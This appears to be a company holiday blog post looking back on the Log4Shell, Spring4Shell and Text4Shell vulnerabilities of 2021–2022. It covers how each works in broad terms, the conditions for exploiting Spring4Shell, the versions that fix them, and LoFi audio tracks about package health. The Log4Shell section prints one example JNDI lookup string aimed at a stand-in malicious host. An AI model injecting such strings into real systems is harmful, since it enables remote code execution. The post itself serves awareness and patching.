We're in the middle of the holiday season, and we couldn't be more excited. A far cry from last year when the festive mood was abruptly interrupted by the disclosure of Log4Shell, a zero-day vulnerability in the popular Java-based logging system Log4j.
For most of us, December 2021 will be remembered as the month when the soothing jingle of bells, the soaring notes of carolers, and the traditional "Silent Night" were drowned by a bombardment of Slack notifications.
The ones that required instant remediation.
The ones you don't want to receive during the holiday season.
If you're a security professional or a Java developer — or someone who cares at all about not being hacked — your holiday was probably ruined.
As we wrap up the year, we wanted to take a moment not only to reflect on Log4j but also on the other two "4shell" vulnerabilities that were disclosed in 2022.
And as a special treat, you'll find an audio representation of the artifacts: three calming LoFi tracks generated by our teammate Lex Vorona that give the listener an aural idea of the health of the packages. On this project, he said: "It is still very much work in progress. There are big chunks of fairly meditative low frequency waves. That's how the good code should sound with this routine. If anything like a melody starts to emerge — any actual discernible tones — it is something calling to attention. Some method that should be refactored."
Alright, let's dive right in…
Log4Shell
The Log4Shell bug posed (and by our most recent report, it's still posing) a major threat to our global digital infrastructure. It was a major news story and it's been called "the single biggest, most critical vulnerability ever." It's no surprise that this vulnerability received a whopping CVSSv3 score of 10. Attackers, utilizing how Log4j 2 managed logged strings which allowed a macro of the format ${prefix:name}, could point to malicious payloads through the Java Naming and Directory Interface (JNDI) and Lightweight Directory Access Protocol (LDAP) through the example pattern ${jndi:ldap://malicious.com/malwarepayload}.
Organizations that didn't follow good practices for managing their dependencies were especially affected. Even with a patch available, the holiday season for some security folks were filled with stress and long hours as they thoroughly searched through their organization's codebase, looking for any occurrences of Log4j, and trying to remediate the vulnerability. A hunt and patch process that’s still happening for some organizations, costing them billions of dollars.
Further sleepless nights then entailed as security researchers found further issues with subsequent upgrades: one upgrade was needed due to a denial-of-service attack found, and another due to a remote code execution (RCE) vulnerability. This resulted in four Log4j upgrades before a truly stable version, 2.17.1, was released to the world. Months of remediation per organization, for security professionals and developers alike was required to rectify…. Well, almost!
In a recent interview, our CTO, Brian Fox, said: "[Just because] people don't see headlines does not mean the attacks are not happening."
These words ring true especially when considering that data from our Maven Central repository shows that a good percentage of Log4j downloads continue to be vulnerable versions.
Here’s the sound of Log4Shell:
Spring4Shell
Just as some of us had perhaps got some time off from putting in extra hours fixing Log4Shell, in late March / early April yet another attack hit our servers in the form of Spring4Shell.
Java versions 9 and later introduce the concept of the modular JDK. In these versions, an attacker can use a method called java.lang.Class.getModule() to access the class's module which links to the class loader and attack the java.lang.Class object, which is the foundation for all other objects in Java. Spring had not considered this new access to the class loader in certain properties it surfaced, resulting in potential attack. Although initially thought to be something very nasty, later revisions of the landscape, perhaps coupled with teams ready and primed to go after Log4Shell, found that it wasn't as bad as first expected.
As our very own Ilkka Turunen mentioned in April, there were five things that need to happen for this RCE to be exploitable:
- You are running the application packaged as a WAR
- Within the Tomcat environment
- On JDK 9 or newer
- That includes spring-beans through a spring-webmvc or spring-webflux dependency
- With Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions
Also most Spring applications run as a Spring Boot executable JAR (this is default) so it doesn't apply to those either. That being said, if such a system is exploitable, it can result in shell access, which is enough to be considered a "critical" vulnerability with a CVSSv3 score of 9.8. Time will tell if that score remains.
Here’s the sound of Spring4Shell:
Text4Shell
Just before Halloween a critical vulnerability within the very widely used Apache Commons Text library, and with a CVSSv3 score of 9.8, caused quite a scare!
Very similar to Log4Shell, the library performs a process called variable interpolation, which allows variables to be evaluated at runtime. This can be very useful in many languages and libraries, but it can also lead to unexpected issues if not properly restricted.
The interpolation is written as ${prefix:name} (sounds familiar?) and it can use the org.apache.commons.text.lookup.StringLookup class or other Lookup classes. In this case, the prefix could point to a URL containing vulnerable code, resulting in remote code execution.
This vulnerability is very hard to exploit in real life. That being said, as developers and security professionals, we should upgrade to 1.10.0 or later to avoid any further unforeseen embarrassment. As our 8th annual State of the Software Supply Chain report states, there is a 742% average yearly increase in software supply chain attacks since 2019. Everyone should take steps to prevent these types of attacks and protect against them.
Here's the sound of Text4Shell:
Happy holidays
We hope Lex's sounds have helped turn these vulnerabilities into something positive this year. And that by now you're actively managing the health of your dependencies, have control over your software bill of materials (SBOM), and will continue to follow the best practices in 2023.
Without any fires to put out this year, may your notifications be filled with nothing but holiday cheer and well wishes.
.png)
